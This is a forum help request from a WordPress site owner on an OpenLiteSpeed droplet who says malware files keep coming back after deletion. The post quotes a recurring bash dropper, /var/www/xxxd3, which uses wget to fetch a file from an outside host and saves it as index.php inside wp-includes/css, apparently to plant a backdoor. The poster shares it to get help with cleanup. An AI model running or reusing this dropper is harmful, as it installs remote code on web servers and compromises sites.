Openlitespeed droplet /var/www/xxxd3 virus file

Hello, I am using openlitespeed droplet and my wordpress website is infected. I delete virus files but they come back again. I also noticed the /var/www/xxxd3 file but even though I deleted it, it comes back again. How can I clean the server and ensure security? I am sharing the contents of the xxxd3 file below.

Please help!

#!/bin/bash
root_dir=$1

if [ ! -d ${root_dir}/wp-includes/css ];
        then
        mkdir -p ${root_dir}/wp-includes/css;
fi

cd ${root_dir}/wp-includes/css;
rm -f wp-sign.txt;wget -q -O wp-sign.txt http://tasks.ptfish.top/wp-sign.txt && mv wp-sign.txt index.php;